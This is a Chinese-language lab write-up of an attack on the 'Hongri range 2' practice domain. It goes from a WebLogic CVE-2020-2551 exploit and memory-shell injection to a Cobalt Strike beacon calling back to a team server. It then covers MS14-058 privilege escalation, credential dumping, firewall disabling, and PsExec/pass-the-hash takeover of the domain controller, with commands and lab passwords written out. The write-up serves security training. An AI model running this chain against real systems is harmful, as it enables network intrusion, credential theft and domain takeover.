目录
[② vmnet1网卡](#② vmnet1网卡)
[(1)添加cs http beacon监听](#(1)添加cs http beacon监听)
[① rev2self](#① rev2self)
[② make_token de1ay.com\Administrator 1qaz@WSX](#② make_token de1ay.com\Administrator 1qaz@WSX)
[③ jump psexec_pth PC dc-4444](#③ jump psexec_pth PC dc-4444)
本文详细记录了针对红日靶场2的渗透测试过程。攻击者首先利用Weblogic服务漏洞获取Web跳板机(192.168.59.131)控制权,通过注入内存马连接冰蝎木马,上传CobaltStrike木马建立初始立足点。随后在跳板机上进行提权、关闭防火墙等操作,并以内网IP(10.10.10.80)为据点进行内网探测,发现域控制器(10.10.10.10)和PC目标(10.10.10.201)。最终通过PsExec横向移动技术,利用捕获的域管理员凭证先后攻陷域控制器和PC目标,完成从外网突破到内网域控接管的完整攻击链。整个过程展示了现代渗透测试中漏洞利用、权限提升、横向移动等关键技术的综合运用。
一、拓扑搭建
1、拓扑图
本文的渗透环境为红日靶场2,首先通过Weblogic服务漏洞向Web跳板机(192.168.59.131)注入内存马,连接木马获取服务器控制权后上传Cobalt Strike木马建立初始立足点,随后提权并关闭防火墙,尝试以mssql账户上线并再次提权。随后以跳板机(192.168.59.131)对应的内网ip地址(10.10.10.80)为据点进行内网探测,通过端口扫描发现DC域控制器10.10.10.10和PC目标10.10.10.201,基于跳板机Baecon创建普通的tcp中转会话或者SMB中转会话,利用抓取的密码凭证使用PsExec横向移动至域控制器,使其作为Beacon上线CS团队。最后继续使用PsExec和捕获的域管理员凭据以同样手法控制内网PC目标,完成从Web服务漏洞利用到内网域控接管的完整攻击链条。

flowchart LR
subgraph A [外部网络]
direction TB
Client["CS客户端 (Operator)<br>192.168.59.1"]
Server["CS服务器 (Kali)<br>192.168.59.128"]
Client <-->|控制| Server
end
subgraph B [内部网络 10.10.10.0/24]
direction LR
WEB["Web跳板机 WEB<br>外: 192.168.59.131<br>内: 10.10.10.80"]
DC["域控制器 DC<br>10.10.10.10"]
PC["办公计算机 PC<br>10.10.10.201"]
end
Server -- "1 漏洞利用<br>Weblogic内存马" --> WEB
WEB -- "2 横向移动<br>PsExec" --> DC
DC -- "3 横向移动<br>PsExec" --> PC
2、角色表
| 角色名称 | IP地址 | 操作系统/角色 | 在攻击链中的作用 | 备注 |
|---|---|---|---|---|
| CS客户端 (Operator) | 192.168.59.1 | Windows 11 | 攻击者操作端,运行Cobalt Strike客户端 | 外部网络,用于控制CS团队服务器 |
| CS服务器 (Team Server) | 192.168.59.128 | Kali Linux | 攻击载荷投送与命令控制中心 | 接收Beacon回连,部署在Kali上 |
| Web服务器 (WEB) | 外: 192.168.59.131 内: 10.10.10.80 | Windows Server | 初始入口/跳板机,存在Weblogic漏洞 | 双网卡 |
| 域控制器 (DC) | 10.10.10.10 | Windows Server / Domain Controller | 核心目标,内网域环境的核心 | PsExec横向移动控制 |
| 办公计算机 (PC) | 10.10.10.201 | Windows (域成员) | 横向移动目标 | PsExec横向移动控制(DC会话执行) |
3、网络搭建
注意:启动过程中,如果 360 需要管理权限才能做一些事情,让你输密码的话,不要管它,爱咋咋地去,取消就好。
(1)网络适配器配置
①编辑虚拟网络编辑器
点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet1网卡
将vmnet1网段改为10.10.10.0/24,如下所示。

(2)Web服务器恢复快照v1.3
删除v1.1和v1.2的快照,然后恢复到1.3快照中。

删除后效果如下所示。


(3)配置web虚拟机的网络
打开Web服务虚拟机,使用其他用户登录,用户名DE1AY\mssql密码1qaz@WSX。

进入系统后配置ip地址自动获取,点击"开始-网络-网络和共享中心",如下所示。

点击更改适配器配置,如下所示。

点击网络4-右键属性-ipv4协议-属性,改为自动获得ip地址和DNS地址,如下所示。管理员用户输入de1ay\administrator , 密码1qaz@WSX。

(4)Web服务器查看ip地址

(5)PC机删除vmnet8网卡
PC删除vmnet8网卡(NAT)网卡,如下所示。

查看ip地址,使用de1ay\de1ay 密码1qaz@WSX登录。

(6)清空cs数据
报告-清空数据,并删除所有之前的会话。


3、Web服务环境搭建
在搭建环境的过程中,我们需要手动开启weblogic服务。开启weblogic的方法是进入C:\Oracle\Middleware\user_projects\domains\base_domain目录开启服务,不过需要特别注意,startweblogic要以管理员的方式运行,操作如下所示。



注意完成比步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
二、信息搜集
1、探测存活主机
nmap -sn 192.168.59.0/24**"探测 192.168.59.0 到 192.168.59.255 这个网段内有哪些 IP 地址对应的主机是开机并在线(存活)的",但它不会扫描这些主机开放了哪些端口,**发现ip地址为192.168.59.131,如下所示。
nmap -sn 192.168.59.0/24
-
nmap: 强大的网络发现和安全审计工具。 -
-sn: 这是最重要的选项。在过去,这个功能由-sP选项实现。-sn告诉 Nmap 进行 "Ping 扫描" 。它的作用是只发现网络上的存活主机,而不对主机进行端口扫描。 -
192.168.59.0/24: 这是目标网络范围。/24是 CIDR 表示法,代表子网掩码255.255.255.0。它指定了从192.168.59.1到192.168.59.254的所有 IP 地址。
用 Nmap 工具对 192.168.59.0/24 网段发起 "无端口扫描"(Ping 扫描)。其中-sn参数是核心,代表跳过端口探测,仅通过 ICMP Echo 请求(类似 Ping 命令)、ARP 请求(内网环境)等方式,检测网段内哪些 IP 是存活主机。执行后会返回该网段内在线主机的 IP(部分会显示对应主机名),不扫描端口状态,既减少对目标网络的干扰,又能快速定位内网存活设备,常用于渗透测试或网络管理中第一步的 "存活主机探测",为后续端口扫描、服务识别奠定基础。

当执行 nmap -sn 时,Nmap 默认会组合使用多种技术来避免因单一方法被防火墙过滤而导致的误判:
-
ICMP Echo 请求 : 发送经典的
ping包。如果收到回复,则判断主机存活。 -
TCP SYN 包到 443 端口: 尝试向目标的 443 端口发起一个 TCP 连接请求。
-
TCP ACK 包到 80 端口: 尝试向目标的 80 端口发送一个 TCP ACK 包。
-
ICMP 时间戳请求: 发送另一种类型的 ICMP 请求。
只要目标主机对以上任何一种探测方式作出了响应,Nmap 就会将其标记为 "存活"
2、探测端口
对192.168.59.131进行常用端口探测,如下所示出现敏感端口号80、7001、3389等。
nmap 192.168.59.131

三、web服务器GetShell
1、发现Weblogic服务
访问192.168.59.131的7001端口,使用web浏览器打开,如下所示发现Web服务为Weblogic。
http://192.168.59.131:7001/

http://192.168.59.131:7001/console/

过一会后,页面如下所示。
http://192.168.59.131:7001/console/login/LoginForm.jsp

2、使用weblogic漏洞利用工具上传木马
(1)检测漏洞
漏洞配置为all_echo,URL配置为http://192.168.59.131:7001/,点击检查。

如上所示,发现了CVE_2020_2551_ECHO漏洞(CVE-2020-2551),根据返回结果判断当前服务为de1ay\administrator
(2)命令执行
点击命令执行,输入ipconfig并点击执行,如下所示成功获取web服务器的ip地址信息,一个网段为192.168.59.0,这是我们kali攻击机与web系统连接的网段,另一个网段10.10.10.80则为内网网络。

(3)注入内存马
选择"内存马注入"子菜单,类型为冰蝎,配置密码后点击执行,步骤如下所示。

这里要强调下,之所以使用内存马,是因为Web服务器装有360全家桶,只有内存马才可能成功。分析执行结果,木马的URL如下所示,密码为ljn。
URL: http://192.168.59.131:7001/bea_wls_internal/applicationSingletonProvider 密码:ljn
(4)连接冰蝎

双击界面生成的会话,如下所示成功连接冰蝎。

3、查看杀软
使用tasklist /svc查询进程,判断当前系统中启动的杀毒软件,注意下图红框中的安全进程。

发现相关关键进程,如下所示。
- ZhuDongFangYu.exe (PID 988) - 360主动防御服务
- 360Tray.exe (PID 788) - 360安全卫士托盘进程
- 360speedld.exe (PID 4932) - 360相关进程
4、新建账户失败
尝试直接新建用户失败,如下所示。
net user ljn ljn@123 /add
net localgroup Administrators ljn /add

如果同步观察,会发现360阻止了该操作。

四、CS上线Web服务器baecon
1、cs生成baecon
(1)添加cs http beacon监听
添加cs监听器,选择 payload 类型(Beacon HTTP ),并配置回连的IP地址(团队服务器的IP地址:192.168.59.128 )和端口(10087 , 任意不冲突即可)。

(2)生成木马Payload
payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下, 选择"Windows可执行文件(Stageless)",如下图所示。

选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。

这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。

2、通过冰蝎上传baecon到Web服务器中

3、冰蝎中运行baecon文件
点击虚拟终端,点击cmd.exe右面的启动按钮,当按钮变为停止后代表cmd启动成功。

进入到cs的载荷mooyuan2008-http-x64.exe的上传目录中,执行载荷,如下所示。
mooyuan2008-http-x64.exe

五、CS上线Web服务器
1、cs上线web服务器
通过冰蝎执行2008-924.exe后,查看cs,如下所示进程mooyuan2008-http-x64.exe计算机名为win7的系统中,进程id号为3140,用户名为administrator,监听器为mooyuan2008-http,内网ip地址为192.168.59.131,内网ip地址为10.10.10.80,结构为x64。

2、关闭防火墙
执行netsh advfirewall set allprofiles state off命令,用于关闭 Windows 系统中高级防火墙(Windows Defender Firewall)所有配置文件的防护功能,"allprofiles" 涵盖域、专用、公用三种网络环境的防火墙配置:域配置文件对应域内网络,专用配置文件对应家庭 / 工作等可信网络,公用配置文件对应公共场所等非可信网络。执行后,系统将停止拦截入站 / 出站网络连接、禁用预设安全规则。
netsh advfirewall set allprofiles state off

3、ms14-058提权
MS14-058是Windows内核模式驱动中的关键本地提权漏洞,影响Windows Vista至8.1系统。该漏洞源于win32k.sys未能正确处理内存对象,允许普通用户通过特制应用程序在内核态执行任意代码。由于漏洞稳定性高且无需依赖其他系统组件,至今仍是渗透测试中穿透用户层防御获取SYSTEM权限的经典武器。

如下所示,提权成功,新上线system用户,pid为2716。

4、抓取明文密码
system会话抓取密码,具体如下所示。


抓取明文密码的结果可以在"视图-密码"中更加规范化查看,具体效果如下所示,直接抓取到administrator和mysql的明文密码,均为1qaz@WSX。

5、以mysql用户上线
(1)方法1:以其他用户上线
在system用户会话(pid 2716 )右键-凭证提权-以其他用户上线,选择mssql用户上线,如下所示。


如下所示mssql用户上线cs,pid为3580。

(2)方法2:进程注入
如果通过以其他用户上线的方法切换用户失败,右键"浏览探测-进程列表",对user进行排序,找到de1ay\mssql用户的进程sqlserver.exe,选中它然后点击注入,稍等即可同样上线mssql用户的CS。

6、mssql用户提权
对新上线的mssql账户使用ms14-058提权为system用户,具体如下所示。



六、内网扫描
使用mssql(pid 3580)或mssql提权后的system账户(pid 3816)进行内网扫描,如下所示。
1、端口扫描
使用Cobalt Strike的端口扫描功能对Web服务器的内网10.10.10.0/24发起探测,如下所示。


发现存活主机为10和80,由于80是192.168.59.131的另一个网卡,故而目前同一网段仅包括10.10.10.80和10.10.10.201。

2、域信息搜集
(1)查看当前登录域
net config workstation 用于查询和显示当前计算机的网络工作站配置信息。执行后会输出关键信息,包括计算机名、完整的计算机域名、当前登录的用户名以及最重要的工作站域 和登录域,从而明确揭示该主机是否已加入域、所加入的域名称以及当前登录的域用户身份。它是内网渗透中快速进行主机角色和域环境判断的首选命令之一。如下所示当前域为delay.com,具体操作步骤如下所示。

(2)查看域控详细信息
查看DC主域控制器,其ip地址为10.10.10.10,具体如下所示。

(3)查看所有域用户

(4)查询域管

(5)目标列表
点击"视图-目标",此时发现如下DC域控的ip地址为10.10.10.10,PC的ip地址为10.10.10.201,具体如下图所示。

如果目标列表没出现dc域控,执行shell net group "Domain Controllers" /domain查看,该命令用于在 Windows 域环境中,查询域内 "Domain Controllers"(域控制器)组的成员信息,"/domain" 参数指定从域控制器而非本地计算机获取数据。执行后,系统会返回该组内所有域控制器的计算机账户(如 "DC$"),帮助管理员或渗透测试者确认域内域控制器的数量与名称。

如果目标列表没出现dc域控和目标PC,也可以手动添加目标。
七、普通中转会话横向移动
1、cs创建中转会话
选中10.10.10.80的会话(mssql用户提权后的system用户),右键选择代理转发-转发上线。

新建的转发监听,命名为dc-4444,监听地址选择10.10.10.80。

配置完毕后,监听列表增加了我们刚刚配置的监听,如下所示。

2、PSexec横向渗透DC
(1)DC上线

密码选择administrator对应的1qaz@WSX,会话选择Web服务器的mysql提权会话(进程id为3316),监听器选择DC-4444,具体如下所示。


点击运行后执行如下所示,成功上线DC beacon,执行whoami,提示是system用户。

(2)shell命令
如上图示化操作是Cobalt Strike(CS)中用于身份切换和横向移动的操作,等同于执行如下命令。
|--------------------------------------------------------------------------------|
| rev2self make_token de1ay.com\Administrator 1qaz@WSX jump psexec64 DC dc-4444 |
-
rev2self: (清理环境) 攻击者首先放弃任何之前可能窃取或使用的临时令牌,确保从一个"干净"的已知状态开始操作。这可能是为了切换不同的凭证,或者是一种操作规范。 -
make_token de1ay.com\Administrator 1qaz@WSX: (获取权限) 然后,攻击者使用窃取到的域管理员明文密码,在当前 Beacon 中创建一个新的、高权限的网络身份。现在,这个 Beacon 在网络层面拥有了域控制器的管理权限。 -
jump psexec64 DC dc-4444: (实施攻击) 最后,攻击者利用刚刚获取的域管身份,通过 PsExec 这种系统管理员的常用工具,在域控制器DC上远程执行 payload,成功获得一个在域控制器上运行的 Beacon 会话。
攻击链展示了从凭证利用 (make_token) 到 横向移动 (jump psexec) 的标准过程,而 rev2self 则体现了攻击者在操作过程中对权限管理的意识。最终结果就是攻击者成功地将他的控制范围从一台跳板机,扩展到了整个域的核心------域控制器
(3)执行命令
DC会话执行whoami和ipconfig,如下所示。

3、PSexec横向渗透PC
(1)PC上线
在"视图"-"目标列表"中选择"10.10.10.201"这个目标PC机,其计算机名称为PC,具体如下所示。

密码选择administrator对应的1qaz@WSX,会话选择DC域控会话,监听器选择DC-4444,具体如下所示。

成功上线PC,如下所示。

(2)shell命令
如上图示化操作是Cobalt Strike(CS)中用于身份切换和横向移动的操作,等同于执行如下命令。
|----------------------------------------------------------------------------------|
| rev2self make_token de1ay.com\Administrator 1qaz@WSX jump psexec_pth PC dc-4444 |
① rev2self
这条命令让当前的 Beacon 会话放弃当前已注入的令牌,恢复到 Beacon 最初建立时的原始安全上下文。
-
攻击场景 : 假设你之前使用
make_token或steal_token命令窃取了一个令牌在进行操作。运行rev2self会丢弃这个令牌,返回到你最初上线时使用的那个用户权限。 -
在此处的目的 : 为接下来的
psexec_pth清理环境,确保不会与现有的令牌产生冲突,保证哈希传递的纯净性。
② make_token de1ay.com\Administrator 1qaz@WSX
这条命令用于创建一个新的登录令牌,并将其注入到当前的 Beacon 会话中。
make_token: 命令本身。
-
de1ay.com\Administrator: 指定要模拟的域名和用户名,这里是域管理员。 -
1qaz@WSX: 该用户的明文密码。
③ jump psexec_pth PC dc-4444
指示 通过基于哈希传递的 PsExec 方式在目标主机上执行 payload
-
jump: 在目标主机上执行 payload 的命令。 -
psexec_pth: 这是最关键的部分。_pth后缀代表 "Pass The Hash" 。它会直接从当前 Beacon 的凭证缓存中或你之前通过pth命令注入的哈希来获取目标用户的 NTLM 哈希,并使用该哈希进行身份验证。 -
PC: 目标主机。这里指的是内网中的办公计算机PC。 -
dc-4444: Listener 的名称 。在PC上执行 payload 后,它会回连到dc-4444,从而脸上团队服务器。
(3)命令执行
PC右键会话,执行whoami和ipconfig,如下所示。

八、拓扑总结
1、图示视图
通过 View → Visualization或者点击如下红框内容会展示图形化视图,具体如下所示。

2、攻击总结
(1)阶段一:外网突破,建立初始立足点
-
漏洞利用 :攻击者 (CS客户端
192.168.59.1)通过CS服务器(192.168.59.128)利用 Weblogic服务漏洞 ,攻击位于192.168.59.131的Web服务器。 -
植入木马 :成功利用后,向Web服务器注入内存马,获得初步控制权。
-
巩固据点:
-
上传Cobalt Strike木马,建立稳定的Beacon 通信会话,作为一级跳板。
-
在Web服务器上进行提权 并关闭防火墙,为后续操作扫清障碍。
-
(2)阶段二:内网探测,信息收集
-
以Web服务器的内网IP(
10.10.10.80)为据点,进行内网扫描(端口扫描)。 -
发现核心目标:域控制器DC (
10.10.10.10)和办公计算机PC (10.10.10.201)。
(3)阶段三:横向移动,攻陷域控和PC
-
权限提升与凭证窃取 :在Web跳板机上,通过
mimikatz的sekurlsa::logonpasswords等命令抓取明文密码和哈希 。成功获取到mssql等服务账户乃至Administrator的凭证。 -
横向移动至域控:
-
利用捕获的凭证(哈希/明文),通过
psexec方式横向移动到域控制器DC。 -
成功在
DC上上线一个新的Beacon 会话,标志着域环境的核心已被攻陷。
-
-
横向移动至PC:
- 在DC会话进行横向移动,使用在域控上窃取的域管理员哈希
- 通过
psexec_pth方式进行哈希传递攻击,横向移动到目标PC,并使其上线。

flowchart LR
subgraph A [外部网络]
direction TB
Client["CS客户端<br>192.168.59.1"]
Server["CS服务器 Kali<br>192.168.59.128"]
Client <-->|控制| Server
end
subgraph B [内部网络 10.10.10.0/24]
WEB["Web跳板机<br>10.10.10.80"]
DC["域控制器 DC<br>10.10.10.10"]
PC["办公计算机 PC<br>10.10.10.201"]
end
Server -- "阶段一<br>漏洞利用" --> WEB
WEB -- "阶段二<br>内网探测" --> DC
WEB -- "阶段二<br>内网探测" --> PC
WEB -- "阶段三<br>PsExec横向移动" --> DC
DC -- "阶段四<br>psexec_pth横向移动" --> PC